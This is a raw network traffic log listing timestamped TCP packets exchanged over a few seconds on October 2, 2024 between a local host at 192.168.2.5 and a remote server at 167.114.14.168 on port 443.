Oct 2, 2024 06:10:19.706217051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.706284046 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.706290007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.706379890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.706660032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.706676006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.706762075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.706769943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.706856012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.783442974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.783462048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.783544064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.783571005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.783802032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.789896011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.789915085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.789969921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.789978981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.790131092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.791369915 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.791393042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.791429043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.791435957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.791465998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.791487932 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.794126034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.794147015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.794219017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.794234991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.794280052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.794363976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.794387102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.794429064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.794435024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.794467926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.794544935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.795031071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.795046091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.795130014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.795137882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.795268059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.795288086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.795326948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.795332909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.795344114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.795367956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.795381069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.795473099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.795486927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.795567036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.795574903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.795629978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.872318983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.872337103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.872406006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.872431040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.872504950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.878495932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.878515959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.878577948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.878587008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.878623962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.879837990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.879856110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.879903078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.879909992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.879931927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.879951954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.882810116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.882824898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.882880926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.882886887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.882955074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.882986069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.883002043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.883044004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.883052111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.883119106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.883481026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.883497953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.883547068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.883553982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.883583069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.883594036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.885054111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.885070086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.885122061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.885128021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.885164976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.885185957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.885236979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.885251999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.885288000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.885293961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.885322094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.885348082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.960830927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.960855007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.960911036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.960941076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.960954905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.961025953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.967106104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.967132092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.967170000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.967176914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.967200994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.967221022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.968570948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.968585968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.968621016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.968627930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.968658924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.968683958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.971453905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.971468925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.971534014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.971544027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.971585035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.971626043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.971647978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.971679926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.971688032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.971712112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.971724987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.972460985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.972476959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.972522020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.972527027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.972604990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.972665071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.972681046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.972728968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.972734928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.972759008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.972775936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.973048925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.973064899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.973128080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.973134995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.973211050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.064564943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.064609051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.064680099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.064711094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.064832926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.064851999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.064884901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.064893961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.064905882 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.064944029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.066149950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.066186905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.066210032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.066224098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.066246033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.066266060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.068073034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.068089962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.068126917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.068133116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.068167925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.068203926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.068990946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.069005013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.069061995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.069068909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.069175959 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.069225073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.069241047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.069273949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.069282055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.069309950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.069329977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.069931984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.069947004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.069986105 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.069992065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.070013046 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.070055008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.070275068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.070290089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.070339918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.070353031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.070507050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.072988987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.153251886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.153271914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.153363943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.153388023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.153454065 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.153503895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.153521061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.153577089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.153584957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.153637886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.154633045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.154649019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.154701948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.154710054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.154737949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.154758930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.156589985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.156611919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.156677008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.156685114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.156753063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.157706022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.157721996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.157788992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.157795906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.157933950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.158121109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.158137083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.158186913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.158194065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.158221006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.158240080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.159058094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.159075022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.159101963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.159141064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.159146070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.159271955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.159291029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.159326077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.159332991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.159348965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.159378052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.243460894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.243494987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.243590117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.243628025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.243649006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.243670940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.243701935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.243720055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.243779898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.243789911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.243833065 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.243925095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.243952990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.243998051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.244007111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.244024992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.244046926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.245167017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.245182991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.245260000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.245268106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.245337009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.246243000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.246257067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.246319056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.246325970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.246377945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.246598959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.246614933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.246673107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.246680021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.246697903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.246726036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.248178005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.248209000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.248266935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.248274088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.248306036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.248317957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.248667955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.248683929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.248759031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.248769999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.248820066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.330439091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.330463886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.330595970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.330620050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.330724955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.330745935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.330786943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.330795050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.330811977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.330843925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.331684113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.331705093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.331760883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.331769943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.333693981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.333712101 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.333714962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.333730936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.333745003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.333802938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.334844112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.334857941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.334899902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.334908962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.334928036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.334940910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.335102081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.335119963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.335176945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.335182905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.335230112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.336756945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.336780071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.336836100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.336843014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.336884022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.337127924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.337146997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.337177992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.337177992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.337186098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.337220907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.337642908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.337781906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.418925047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.418946028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.419025898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.419060946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.419084072 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.419116020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.419161081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.419178009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.419215918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.419225931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.419250965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.419272900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.420195103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.420212984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:20.420258045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:20.420265913 CEST	443	49715	167.114.14.168	192.168.2.5
